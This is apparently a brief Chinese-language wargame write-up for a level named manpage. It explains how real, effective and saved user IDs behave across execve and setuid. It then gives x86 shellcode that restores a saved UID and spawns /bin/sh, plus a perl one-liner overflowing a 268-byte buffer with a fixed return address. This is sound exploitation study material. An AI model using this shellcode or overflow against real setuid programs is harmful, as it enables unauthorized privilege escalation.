有2点:
- execve,如果ST_NOSUID没有设的话,新执行的程序的rid不变,eid会变如果suid设了,saved suid也会被保存为eid,这样我们就可以在之后用setuid来恢复
- setuid如果权限够了(root?),就把2个id都设了;否则只设eid,rid和saved suid不变
于是还是溢出,不过shellcode中要先恢复权限
BITS 32
;setuid
xor ebx, ebx
mov bx, 17001
xor eax, eax
mov al, 23
int 0x80
xor eax, eax
push eax
mov edx, esp
push 0x68732f2f
push 0x6e69622f ;/bin//sh
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 11
int 0x80
dest和返回地址距离是256+8+4=268,于是
$ /manpage/manpage0 `perl -e 'print "A"x268 . "\xd8\xd8\xff\xff"'`